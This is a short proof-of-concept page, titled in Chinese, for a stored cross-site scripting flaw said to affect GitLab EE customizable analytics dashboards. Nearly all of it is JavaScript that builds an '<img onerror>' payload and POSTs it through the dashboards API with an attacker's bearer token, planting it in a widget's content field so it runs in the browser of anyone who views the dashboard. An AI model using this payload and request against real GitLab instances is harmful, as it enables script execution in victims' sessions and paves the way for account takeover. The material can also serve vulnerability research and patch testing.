CVE-2026-7377 GitLab EE 可定制分析仪表板存储型XSS漏洞

// PoC for CVE-2026-7377: Stored XSS in Customizable Analytics Dashboards // Attacker injects this payload into a customizable dashboard field. // When a victim views the dashboard, the script executes. // Payload to be injected into a dashboard configuration field (e.g., visualization title or content) var maliciousPayload = '<img src=x onerror=alert(\'CVE-2026-7377_XSS\')>'; // Example request simulation fetch('/api/v4/analytics/dashboards', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ATTACKER_TOKEN>' }, body: JSON.stringify({ 'name': 'Public Stats', 'description': 'Overview of project metrics', 'widgets': [ { 'type': 'text', 'content': maliciousPayload // Injecting the XSS payload here } ] }) });